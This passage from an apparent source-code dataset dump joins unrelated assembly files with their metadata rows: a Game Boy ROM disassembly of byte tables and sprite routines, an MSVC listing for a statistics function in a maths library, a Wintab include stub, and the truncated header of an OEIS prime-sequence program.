db $0D, $AF, $0F, $0E, $10, $00, $19, $01
db $04, $1D, $21, $CF, $5C, $3E, $02, $CD
db $CF, $05, $C9, $21, $73, $6D, $3E, $07
db $CD, $CF, $05, $C9, $04, $99, $5E, $0A
db $01, $02, $0F, $3A, $02, $0D, $77, $0F
db $02, $09, $05, $0F, $47, $10, $0D, $77
db $0F, $0C, $0D, $B4, $72, $05, $02, $0F
db $47, $00, $0D, $77, $0F, $0C, $0D, $B4
db $72, $05, $02, $0A, $1D, $1E, $3A, $1A
db $3C, $FE, $0B, $38, $02, $3E, $02, $12
db $C9, $10, $5B, $0E, $07, $D2, $72, $F6
db $72, $29, $73, $3F, $73, $66, $73, $85
db $73, $BD, $73, $04, $80, $67, $0A, $19
db $02, $06, $0D, $77, $0F, $02, $09, $05
db $19, $01, $02, $19, $00, $02, $0A, $19
db $02, $02, $19, $00, $02, $19, $02, $02
db $19, $01, $02, $19, $02, $06, $1D, $04
db $D1, $67, $0A, $19, $08, $04, $19, $09
db $02, $19, $08, $02, $0D, $77, $0F, $02
db $19, $09, $08, $19, $00, $02, $19, $01
db $01, $19, $02, $01, $19, $03, $02, $19
db $04, $01, $19, $05, $02, $19, $06, $02
db $19, $07, $01, $19, $09, $06, $19, $08
db $04, $1D, $04, $2F, $69, $0A, $19, $04
db $06, $19, $05, $04, $19, $06, $04, $01
db $00, $0D, $77, $0F, $02, $05, $14, $1D
db $04, $0C, $6A, $0A, $19, $00, $04, $19
db $01, $04, $0D, $77, $0F, $02, $0D, $AF
db $0F, $0C, $10, $FD, $0D, $AF, $0F, $14
db $10, $F6, $0D, $AF, $0F, $15, $10, $04
db $19, $02, $14, $19, $01, $04, $1D, $04
db $29, $65, $0A, $19, $00, $06, $04, $B5
db $6A, $0A, $19, $07, $06, $19, $06, $02
db $19, $07, $02, $0D, $77, $0F, $02, $19
db $00, $14, $19, $07, $06, $1D, $04, $ED
db $6B, $0A, $0D, $77, $0F, $02, $22, $AA
db $73, $07, $09, $02, $19, $00, $02, $19
db $01, $02, $19, $04, $02, $19, $05, $02
db $19, $02, $02, $19, $03, $02, $0A, $0F
db $1C, $80, $1D, $0D, $AF, $0F, $0F, $03
db $10, $05, $04, $0D, $AF, $0F, $10, $03
db $10, $05, $04, $06, $AA, $73, $04, $E7
db $6C, $0A, $0D, $77, $0F, $02, $19, $00
db $04, $22, $E8, $73, $07, $19, $01, $0D
db $19, $02, $0D, $19, $03, $0D, $19, $04
db $0D, $19, $05, $0D, $19, $06, $0D, $0F
db $1C, $80, $0D, $F5, $73, $19, $00, $04
db $1D, $24, $1E, $0D, $AF, $0F, $12, $00
db $00, $05, $06, $06, $E8, $73, $1E, $15
db $1A, $FE, $04, $D8, $1E, $45, $1A, $EE
db $80, $12, $C9, $01, $02, $00, $FE, $FF
db $02, $00, $FE
toc_07_740A:
ld h, d
ld a, [$A076]
or a
jr nz, .else_07_7420
ld l, $19
set 5, [hl]
ld l, $1C
set 5, [hl]
ld l, $1F
set 5, [hl]
call toc_01_0E2C
.else_07_7420:
ld bc, $A076
ld a, [bc]
ld hl, $7402
add a, a
add a, l
ld l, a
jr nc, .else_07_742D
inc h
.else_07_742D:
ldi a, [hl]
ld h, [hl]
ld l, a
ld e, $09
ld a, [de]
add a, h
ld [de], a
ld e, $0B
ld a, [de]
add a, l
ld [de], a
ld a, [bc]
inc a
ld [bc], a
cp $04
ret c
ld h, d
ld l, $19
res 5, [hl]
ld l, $1C
res 5, [hl]
ld l, $1F
res 5, [hl]
ld l, $6C
res 0, [hl]
ret
db $CD, $58, $74, $C3, $8B, $74
toc_07_7458:
ld a, [$A071]
ld hl, $7468
add a, l
ld l, a
jr nc, .else_07_7463
inc h
.else_07_7463:
ld a, [hl]
ld [$DF11], a
ret
db $00, $09, $12, $1B, $CD, $72, $74, $C3
db $8B, $74
toc_07_7472:
ld a, [$A071]
ld hl, $7487
add a, l
ld l, a
jr nc, .else_07_747D
inc h
.else_07_747D:
ld a, [hl]
ld hl, $A05B
add a, [hl]
inc a
ld [$DF11], a
ret
db $01, $0A, $13, $1C, $FA, $11, $DF, $C5
db $26, $00, $6F, $44, $4D, $29, $09, $29
db $09, $01, $BB, $74, $09, $1E, $65, $2A
db $12, $1C, $2A, $12, $1E, $67, $2A, $12
db $1C, $2A, $12, $1C, $2A, $12, $1E, $6A
db $2A, $12, $1C, $7E, $12, $3E, $01, $1E
db $64, $12, $C1, $C9, $00, $81, $00, $40
db $09, $80, $02, $80, $83, $80, $42, $09
db $20, $02, $80, $83, $A0, $44, $09, $E0
db $01, $80, $83, $80, $46, $09, $80, $02
db $80, $83, $00, $49, $09, $60, $01, $80
db $83, $60, $4A, $09, $A0, $01, $80, $83
db $00, $4C, $09, $60, $02, $80, $83, $60
db $4E, $09, $60, $01, $80, $83, $C0, $4F
db $09, $A0, $01, $00, $81, $60, $51, $09
db $C0, $02, $C0, $83, $20, $54, $09, $40
db $02, $C0, $83, $60, $56, $09, $00, $02
db $C0, $83, $60, $58, $09, $40, $02, $C0
db $83, $A0, $5A, $09, $00, $02, $C0, $83
db $E0, $5C, $09, $40, $02, $C0, $83, $20
db $5F, $09, $C0, $01, $C0, $83, $60, $61
db $09, $A0, $01, $C0, $83, $00, $63, $09
db $E0, $01, $00, $81, $E0, $64, $09, $C0
db $02, $C0, $83, $A0, $67, $09, $40, $02
db $C0, $83, $E0, $69, $09, $20, $02, $C0
db $83, $00, $6C, $09, $20, $02, $C0, $83
db $40, $6E, $09, $40, $02, $C0, $83, $80
db $70, $09, $40, $02, $C0, $83, $C0, $72
db $09, $80, $01, $C0, $83, $40, $74, $09
db $40, $02, $C0, $83, $80, $76, $09, $E0
db $01, $00, $81, $60, $78, $09, $00, $03
db $00, $84, $00, $40, $0A, $00, $02, $00
db $84, $00, $42, $0A, $E0, $01, $00, $84
db $00, $44, $0A, $00, $02, $00, $84, $00
db $46, $0A, $E0, $01, $00, $84, $00, $48
db $0A, $C0, $01, $00, $84, $C0, $49, $0A
db $80, $01, $00, $84, $C0, $4B, $0A, $80
db $01, $00, $84, $40, $4D, $0A, $00, $02
db $00, $81, $00, $40, $0B, $A0, $03, $60
db $88, $A0, $43, $0B, $00, $05, $60, $88
db $A0, $48, $0B, $80, $05, $60, $88, $20
db $4E, $0B, $40, $05, $40, $8A, $A0, $43
db $0B, $00, $05, $40, $8A, $A0, $48, $0B
db $80, $05, $40, $8A, $20, $4E, $0B, $40
db $05, $00, $81, $A0, $43, $0B, $00, $05
db $00, $81, $A0, $48, $0B, $80, $05, $00
db $81, $20, $4E, $0B, $40, $05, $00, $80
db $71, $65, $10, $00, $06, $60, $88, $71
db $6B, $10, $A0, $06, $00, $80, $FD, $79
db $1A, $C0, $00, $00, $80, $CD, $7A, $1A
db $00, $01, $00, $80, $CD, $7B, $1A, $C0
db $00, $80, $83, $11, $72, $10, $C0, $00
db $C0, $83, $80, $76, $09, $E0, $01, $00
db $81, $60, $78, $09, $00, $03, $00, $84
db $00, $40, $0A, $00, $02, $00, $84, $00
db $42, $0A, $E0, $01, $00, $84, $00, $44
db $0A, $00, $02, $00, $84, $00, $46, $0A
db $E0, $01, $00, $84, $00, $48, $0A, $C0
db $01, $00, $84, $C0, $49, $0A, $80, $01
db $00, $84, $C0, $4B, $0A, $80, $01, $00
db $84, $40, $4D, $0A, $00, $02, $00, $81
db $00, $40, $0B, $A0, $03, $60, $88, $A0
db $43, $0B, $00, $05, $60, $88, $A0, $48
db $0B, $80, $05, $60, $88, $20, $4E, $0B
db $40, $05, $40, $8A, $A0, $43, $0B, $00
db $05, $40, $8A, $A0, $48, $0B, $80, $05
db $40, $8A, $20, $4E, $0B, $40, $05, $00
db $81, $A0, $43, $0B, $00, $05, $00, $81
db $A0, $48, $0B, $80, $05, $00, $81, $20
db $4E, $0B, $40, $05, $00, $80, $71, $65
db $10, $00, $06, $60, $88, $71, $6B, $10
db $A0, $06, $00, $80, $FD, $79, $1A, $C0
db $00, $00, $80, $CD, $7A, $1A, $00, $01
db $00, $80, $CD, $7B, $1A, $C0, $00, $80
db $83, $11, $72, $10, $C0, $00, $40, $74
db $09, $40, $02, $C0, $83, $80, $76, $09
db $E0, $01, $00, $81, $60, $78, $09, $00
db $03, $00, $84, $00, $40, $0A, $00, $02
db $00, $84, $00, $42, $0A, $E0, $01, $00
db $84, $01, $40, $01, $C2, $45, $07, $3A
db $4C, $07, $C0, $6E, $07, $09, $54, $03
db $37, $54, $03, $E3, $55, $03, $00, $40
db $03, $34, $40, $03, $28, $63, $03, $9F
db $65, $03, $09, $66, $03, $F1, $44, $03
db $0A, $48, $03, $E5, $5B, $03, $CA, $40
db $04, $39, $42, $04, $00, $40, $01, $1B
db $5F, $03, $EF, $5F, $03, $78, $61, $0E
db $00, $68, $03, $7D, $68, $03, $12, $70
db $03, $91, $71, $03, $2D, $4B, $05, $8F
db $4B, $05, $3C, $4D, $05, $F1, $73, $03
db $66, $79, $03, $2C, $43, $1A, $AC, $45
db $1A, $BF, $45, $1A, $C8, $45, $1A, $05
db $46, $1A, $99, $48, $07, $B1, $46, $07
db $26, $49, $07, $2D, $7C, $04, $83, $7D
db $04, $DD, $7A, $03, $31, $7D, $03, $2B
db $7D, $03, $2C, $7D, $03, $33, $53, $08
db $03, $56, $08, $82, $57, $08, $1F, $46
db $1A, $1C, $58, $03, $B1, $58, $03, $9F
db $40, $05, $C2, $42, $05, $83, $50, $05
db $53, $57, $05, $88, $5B, $05, $8F, $5D
db $05, $E5, $5D, $05, $8E, $60, $05, $BC
db $63, $05, $0D, $65, $05, $8E, $66, $05
db $94, $66, $05, $E9, $6A, $05, $21, $6C
db $05, $19, $6E, $05, $41, $6F, $05, $F6
db $72, $05, $09, $79, $05, $86, $6C, $03
db $1E, $63, $0E, $99, $63, $0E, $2E, $6E
db $03, $54, $75, $05, $2B, $77, $05, $73
db $77, $05, $CD, $77, $05, $26, $78, $05
db $98, $67, $1C, $40, $68, $1C, $9C, $68
db $1C, $F9, $68, $1C, $F7, $69, $1C, $1E
db $6A, $1C, $4A, $6A, $1C, $67, $6A, $1C
db $C5, $6A, $1C, $D2, $6B, $1C, $EB, $6B
db $1C, $50, $6C, $1C, $6B, $6C, $1C, $90
db $6C, $1C, $AB, $6C, $1C, $C6, $6C, $1C
db $69, $6D, $1C, $CE, $6D, $1C, $24, $6E
db $1C, $5B, $6E, $1C, $B2, $6E, $1C, $23
db $6F, $1C, $68, $6F, $1C, $83, $6F, $1C
db $A1, $6F, $1C, $15, $71, $1C, $86, $71
db $1C, $AB, $71, $1C, $0D, $72, $1C, $2E
db $72, $1C, $4F, $72, $1C, $79, $72, $1C
db $96, $72, $1C, $2B, $74, $1C, $63, $74
db $1C, $94, $74, $1C, $C5, $74, $1C, $30
db $75, $1C, $55, $75, $1C, $B6, $75, $1C
db $2D, $76, $1C, $B4, $76, $1C, $CA, $5B
db $0E, $11, $5C, $0E, $3D, $5C, $0E, $69
db $5C, $0E, $DE, $5F, $0E, $95, $5C, $0E
db $DA, $5C, $0E, $F8, $5C, $0E, $16, $5D
db $0E, $6F, $5D, $0E, $99, $5D, $0E, $BD
db $5D, $0E, $E1, $5D, $0E, $05, $5E, $0E
db $0C, $61, $0E, $29, $5E, $0E, $94, $5E
db $0E, $DF, $5E, $0E, $28, $5F, $0E, $A9
db $5F, $0E, $04, $6E, $18, $F7, $74, $18
db $1F, $75, $18, $43, $75, $18, $6B, $75
db $18, $93, $75, $18, $E1, $75, $18, $8B
db $76, $18, $87, $6E, $18, $F6, $72, $18
db $E3, $70, $18, $E6, $73, $18, $12, $74
db $18, $63, $73, $18, $D6, $71, $18, $E6
db $44, $0F, $E3, $47, $0F, $1D, $45, $0F
db $54, $45, $0F, $93, $6C, $08, $BE, $6C
db $08, $84, $5F, $08, $74, $47, $1A, $E0
db $5E, $08, $B5, $60, $08, $62, $4A, $07
db $89, $47, $1A, $07, $48, $1A, $6B, $67
db $0F, $20, $69, $0F, $16, $6C, $0F, $47
db $6C, $0F, $EE, $4E, $1A, $08, $4F, $1A
db $1D, $4F, $1A, $37, $4F, $1A, $4C, $4F
db $1A, $66, $4F, $1A, $7B, $4F, $1A, $95
db $4F, $1A, $B4, $4F, $1A, $21, $51, $1A
db $7E, $51, $1A, $DB, $51, $1A, $38, $52
db $1A, $95, $52, $1A, $EC, $52, $1A, $43
db $53, $1A, $5D, $53, $1A, $77, $53, $1A
db $91, $53, $1A, $AB, $53, $1A, $2B, $60
db $1A, $5C, $62, $1A, $F6, $69, $1A, $EB
db $6E, $1A, $67, $62, $1A, $71, $63, $1A
db $AF, $63, $1A, $EC, $64, $1A, $E8, $68
db $1A, $40, $69, $1A, $4E, $69, $1A, $87
db $41, $06, $C1, $46, $06, $24, $41, $0E
db $2C, $49, $0E, $19, $5D, $0F, $44, $5D
db $0F, $BE, $5D, $0F, $D0, $5B, $06, $11
db $5C, $06, $30, $72, $06, $C8, $40, $1D
db $21, $49, $1D, $39, $4D, $1D, $45, $5C
db $1D, $C5, $63, $1D, $BF, $74, $1D, $79
db $43, $19, $09, $44, $19, $0D, $44, $19
db $7F, $44, $19, $37, $44, $19, $13, $45
db $19, $48, $45, $19, $50, $4C, $19, $71
db $45, $19, $9D, $4C, $19, $B9, $4C, $19
db $D5, $4C, $19, $F1, $4C, $19, $0D, $4D
db $19, $29, $4D, $19, $45, $4D, $19, $61
db $4D, $19, $7D, $4D, $19, $99, $4D, $19
db $B5, $4D, $19, $D1, $4D, $19, $ED, $4D
db $19, $09, $4E, $19, $25, $4E, $19, $41
db $4E, $19, $5D, $4E, $19, $8B, $4E, $19
db $ED, $7A, $19, $2C, $66, $0E, $03, $6D
db $0E, $E7, $58, $08, $00, $00, $00, $00
db $00, $00, $00, $00, $88, $00, $00, $02
db $00, $00, $02, $00, $01, $00, $00, $00
db $00, $04, $06, $06, $06, $06, $05, $05
db $05, $05, $04, $08, $08, $0C, $0E, $0E
db $0F, $0F, $11, $12, $12, $12, $12, $09
db $09, $0A, $0A, $14, $14, $15, $15, $15
db $15, $17, $17, $17, $17, $17, $17, $17
db $17, $17, $17, $17, $17, $18, $18, $18
db $18, $18, $18, $18, $18, $18, $18, $1C
db $1C, $1C, $1C, $1C, $1C, $1E, $1E, $1E
db $19, $19, $19, $19, $1B, $1B, $26, $26
db $1B, $1B, $26, $26, $17, $28, $28, $28
db $28, $30, $30, $26, $26, $26, $26, $26
db $26, $32, $A1, $A2, $A5, $A5, $A5, $A5
db $A5, $A5, $A5, $A5, $A6, $26, $26, $26
db $26, $28, $28, $28, $28, $34, $34, $35
db $35, $35, $35, $CA, $CC, $17, $D1, $D4
db $36, $36, $36, $36, $37, $37, $39, $39
db $D6, $D8, $22, $1E, $1E, $3A, $3A, $3B
db $3B, $3D, $3D, $40, $40, $40, $40, $40
db $40, $42, $42, $42, $42, $42, $42, $45
db $45, $45, $45, $3E, $3E, $3E, $3E, $3F
db $3F, $2C, $29, $2E, $2E, $05, $05, $05
db $05, $1C, $1C, $1C, $1C, $1C, $1C, $44
db $44, $44, $44, $2A, $47, $47, $47, $47
db $2D, $BF, $C0, $C3, $C4, $C1, $11, $11
db $11, $11, $11, $11, $11, $11, $11, $11
db $11, $11, $11, $11, $11, $11, $2B, $C0
db $C5, $C0, $09, $08, $C6, $2E, $15, $15
db $15, $15, $15, $FF, $FF, $FF, $FF, $FF
db $FF, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $02, $00, $80, $00, $00
db $00, $00, $00, $10, $01, $11, $00, $10
db $01, $11, $00, $00, $00, $00, $00, $10
db $00, $00, $00, $00, $10, $01, $11, $00
db $10, $00, $01, $00, $10, $00, $10, $00
db $10, $00, $10, $01, $11, $02, $12, $03
db $13, $04, $14, $05, $15, $00, $10, $01
db $11, $02, $12, $03, $13, $04, $14, $00
db $10, $01, $01, $02, $12, $01, $02, $03
db $00, $10, $01, $11, $00, $10, $00, $10
db $01, $11, $01, $11, $06, $00, $10, $20
db $31, $00, $10, $02, $12, $03, $13, $04
db $14, $00, $00, $00, $00, $01, $02, $03
db $04, $05, $06, $07, $00, $05, $15, $06
db $16, $01, $11, $21, $31, $00, $10, $00
db $10, $01, $11, $00, $00, $FF, $00, $00
db $00, $10, $01, $11, $00, $10, $00, $10
db $00, $00, $00, $00, $04, $00, $01, $00
db $10, $00, $10, $00, $00, $01, $01, $10
db $10, $00, $10, $01, $11, $02, $12, $00
db $10, $01, $11, $00, $10, $01, $11, $00
db $10, $00, $00, $00, $00, $02, $12, $03
db $13, $03, $13, $04, $14, $05, $15, $00
db $10, $01, $11, $00, $00, $10, $01, $11
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $11, $01, $00, $01, $01, $11
db $21, $31, $41, $FF, $FF, $FF, $FF, $FF
db $FF, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $20, $00, $02, $00, $80, $00, $88
db $00, $01, $00, $10, $04, $08, $00, $08
db $00, $01, $01, $01, $01, $01, $01, $01
db $01, $01, $01, $01, $01, $3C, $01, $01
db $01, $01, $01, $01, $01, $01, $01, $01
db $01, $01, $01, $01, $01, $FF, $FF, $FF
db $FF, $01, $01, $01, $01, $01, $01, $01
db $01, $01, $01, $01, $01, $01, $01, $01
db $01, $01, $01, $01, $01, $01, $01, $01
db $01, $01, $01, $01, $01, $01, $01, $01
db $01, $01, $01, $01, $01, $01, $1E, $1E
db $01, $01, $1E, $1E, $01, $00, $00, $00
db $00, $01, $01, $1E, $1E, $1E, $1E, $1E
db $1E, $3C, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $00, $00, $1E, $1E, $1E
db $1E, $01, $01, $01, $01, $01, $01, $01
db $01, $01, $01, $23, $3C, $01, $28, $3C
db $01, $01, $01, $01, $01, $01, $01, $01
db $78, $78, $00, $01, $01, $01, $01, $01
db $01, $01, $01, $01, $01, $01, $01, $01
db $01, $01, $01, $01, $01, $01, $01, $01
db $01, $01, $01, $01, $01, $01, $01, $01
db $01, $00, $00, $40, $C0, $01, $01, $01
db $01, $01, $01, $01, $01, $01, $01, $01
db $01, $01, $01, $00, $01, $01, $01, $01
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $01, $01, $00, $40, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $80, $00, $00, $00, $00, $80, $00
db $20, $00, $00, $00, $00, $80, $00, $10
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $10, $10, $10, $10, $10, $10
db $10, $10, $00, $20, $20, $00, $20, $20
db $20, $20, $00, $20, $20, $20, $20, $20
db $20, $10, $10, $20, $20, $00, $00, $00
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $00, $00, $00, $00, $20
db $20, $20, $20, $20, $20, $00, $00, $00
db $10, $10, $10, $10, $20, $20, $50, $50
db $20, $20, $50, $50, $00, $00, $00, $00
db $00, $20, $20, $50, $50, $50, $50, $50
db $50, $50, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $00, $00, $50, $50, $50
db $50, $00, $00, $00, $00, $20, $20, $20
db $20, $20, $20, $00, $00, $00, $50, $50
db $20, $20, $20, $20, $10, $10, $50, $50
db $00, $00, $00, $00, $00, $15, $15, $10
db $10, $75, $75, $10, $10, $10, $10, $10
db $10, $00, $00, $00, $00, $00, $00, $20
db $20, $20, $20, $05, $05, $10, $10, $20
db $20, $00, $00, $00, $00, $10, $10, $10
db $10, $20, $20, $20, $20, $20, $20, $10
db $10, $10, $10, $00, $20, $20, $20, $20
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $20, $20, $00, $00, $00, $00
db $00, $00, $00, $FF, $FF, $FF, $FF, $FF
db $FF, $80, $10, $00, $00, $00, $08, $00
db $34, $00, $00, $88, $00, $20, $00, $00
db $40, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $00, $00, $05, $00, $00
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $00, $00, $00, $01, $01
db $00, $00, $01, $01, $00, $00, $00, $00
db $00, $00, $00, $01, $01, $01, $01, $01
db $01, $07, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $00, $00, $01, $01, $01
db $01, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $05, $10, $00, $02, $12
db $00, $00, $00, $00, $00, $00, $00, $00
db $50, $25, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $01, $01, $01, $01, $01, $01, $00
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $FF, $FF, $FF, $FF, $FF
db $FF, $84, $00, $C0, $40, $00, $00, $00
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $0B, $00, $00, $00, $00, $01, $01
db $01, $01, $0B, $02, $02, $03, $05, $05
db $06, $06, $13, $0A, $0A, $0A, $0A, $04
db $04, $00, $00, $07, $07, $08, $08, $08
db $08, $0C, $0C, $0C, $0C, $0C, $0C, $0C
db $0C, $0C, $0C, $0C, $0C, $0C, $0C, $0C
db $0C, $0C, $0C, $0C, $0C, $0C, $0C, $0F
db $0F, $0F, $0F, $0F, $0F, $11, $11, $11
db $0D, $0D, $0D, $0D, $0E, $0E, $10, $10
db $0E, $0E, $12, $12, $0C, $13, $14, $15
db $16, $17, $17, $18, $18, $19, $19, $1A
db $1A, $1B, $1C, $1F, $1D, $1D, $1D, $1D
db $1D, $1D, $1D, $1D, $1D, $20, $20, $21
db $21, $13, $14, $15, $16, $22, $22, $23
db $23, $23, $23, $26, $27, $0C, $28, $29
db $24, $24, $24, $24, $25, $25, $2A, $2A
db $2B, $2C, $1F, $11, $11, $2D, $2D, $2E
db $2E, $2F, $2F, $30, $30, $30, $30, $30
db $30, $31, $31, $32, $32, $33, $33, $34
db $34, $34, $34, $35, $35, $36, $36, $37
db $37, $1F, $38, $39, $39, $01, $01, $01
db $01, $0F, $0F, $0F, $0F, $0F, $0F, $00
db $00, $00, $00, $1F, $37, $37, $37, $37
db $3A, $3B, $3C, $3D, $0C, $0C, $3E, $3E
db $3E, $3E, $3E, $3E, $3E, $3E, $3E, $3E
db $3E, $3E, $3E, $3E, $3E, $3E, $1F, $3F
db $40, $41, $04, $02, $40, $39, $08, $08
db $08, $08, $08, $FF, $FF, $FF, $FF, $FF
db $FF, $00, $00, $00, $00, $80, $40, $80
db $00, $00, $00, $20, $00, $08, $00, $00
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $00, $00, $00, $00, $00
db $00
| 29.510042 | 96 | 0.394838 |
dc5dbe3591c346628b156df30662e9e64ef095aa | 2,252 | asm | Assembly | Palmtree.Math.Core.Sint/vs_build/x64_Debug/pmc_statistics.asm | rougemeilland/Palmtree.Math.Core.Sint | 0895fd4988b146f01ec705e091ef3fd79a721b40 | [
"MIT"
] | null | null | null | Palmtree.Math.Core.Sint/vs_build/x64_Debug/pmc_statistics.asm | rougemeilland/Palmtree.Math.Core.Sint | 0895fd4988b146f01ec705e091ef3fd79a721b40 | [
"MIT"
] | null | null | null | Palmtree.Math.Core.Sint/vs_build/x64_Debug/pmc_statistics.asm | rougemeilland/Palmtree.Math.Core.Sint | 0895fd4988b146f01ec705e091ef3fd79a721b40 | [
"MIT"
] | null | null | null | ; Listing generated by Microsoft (R) Optimizing Compiler Version 19.16.27026.1
include listing.inc
INCLUDELIB MSVCRTD
INCLUDELIB OLDNAMES
_DATA SEGMENT
COMM uint_number_zero:QWORD
COMM uint_number_one:QWORD
_DATA ENDS
msvcjmc SEGMENT
__7B7A869E_ctype@h DB 01H
__457DD326_basetsd@h DB 01H
__4384A2D9_corecrt_memcpy_s@h DB 01H
__4E51A221_corecrt_wstring@h DB 01H
__2140C079_string@h DB 01H
__1887E595_winnt@h DB 01H
__9FC7C64B_processthreadsapi@h DB 01H
__FA470AEC_memoryapi@h DB 01H
__F37DAFF1_winerror@h DB 01H
__7A450CCC_winbase@h DB 01H
__B4B40122_winioctl@h DB 01H
__86261D59_stralign@h DB 01H
__36F30452_pmc_statistics@c DB 01H
msvcjmc ENDS
PUBLIC PMC_GetStatisticsInfo
PUBLIC __JustMyCode_Default
EXTRN _RTC_InitBase:PROC
EXTRN _RTC_Shutdown:PROC
EXTRN __CheckForDebuggerJustMyCode:PROC
EXTRN ep_uint:BYTE
; COMDAT pdata
pdata SEGMENT
$pdata$PMC_GetStatisticsInfo DD imagerel $LN3
DD imagerel $LN3+77
DD imagerel $unwind$PMC_GetStatisticsInfo
pdata ENDS
; COMDAT rtc$TMZ
rtc$TMZ SEGMENT
_RTC_Shutdown.rtc$TMZ DQ FLAT:_RTC_Shutdown
rtc$TMZ ENDS
; COMDAT rtc$IMZ
rtc$IMZ SEGMENT
_RTC_InitBase.rtc$IMZ DQ FLAT:_RTC_InitBase
rtc$IMZ ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$PMC_GetStatisticsInfo DD 025052a01H
DD 010e2313H
DD 07007001dH
DD 05006H
xdata ENDS
; Function compile flags: /Odt
; COMDAT __JustMyCode_Default
_TEXT SEGMENT
__JustMyCode_Default PROC ; COMDAT
ret 0
__JustMyCode_Default ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.sint\palmtree.math.core.sint\pmc_statistics.c
; COMDAT PMC_GetStatisticsInfo
_TEXT SEGMENT
statistics_info$ = 224
PMC_GetStatisticsInfo PROC ; COMDAT
; 31 : {
$LN3:
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__36F30452_pmc_statistics@c
call __CheckForDebuggerJustMyCode
; 32 : ep_uint.GetStatisticsInfo(statistics_info);
mov rcx, QWORD PTR statistics_info$[rbp]
call QWORD PTR ep_uint+8
; 33 : }
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
PMC_GetStatisticsInfo ENDP
_TEXT ENDS
END
| 22.979592 | 108 | 0.802842 |
98f4c10ab292131eb73c00fefc8a563a605564a4 | 94 | asm | Assembly | public/wintab/wintabx/pktunhk.asm | DannyParker0001/Kisak-Strike | 99ed85927336fe3aff2efd9b9382b2b32eb1d05d | [
"Unlicense"
] | 252 | 2020-12-16T15:34:43.000Z | 2022-03-31T23:21:37.000Z | cstrike15_src/public/wintab/wintabx/pktunhk.asm | bahadiraraz/Counter-Strike-Global-Offensive | 9a0534100cb98ffa1cf0c32e138f0e7971e910d3 | [
"MIT"
] | 23 | 2020-12-20T18:02:54.000Z | 2022-03-28T16:58:32.000Z | cstrike15_src/public/wintab/wintabx/pktunhk.asm | bahadiraraz/Counter-Strike-Global-Offensive | 9a0534100cb98ffa1cf0c32e138f0e7971e910d3 | [
"MIT"
] | 42 | 2020-12-19T04:32:33.000Z | 2022-03-30T06:00:28.000Z | include xlibproc.inc
include Wintab.inc
PROC_TEMPLATE WTMgrPacketUnhook, 1, Wintab, -, 204
| 23.5 | 51 | 0.787234 |
e3e527ca158913d22ca02baec131872c24cb2fec | 819 | asm | Assembly | oeis/142/A142033.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/142/A142033.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/142/A142033.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A142033: Primes congruent to 29 mod 31.
; Submitted by Jon Maiga
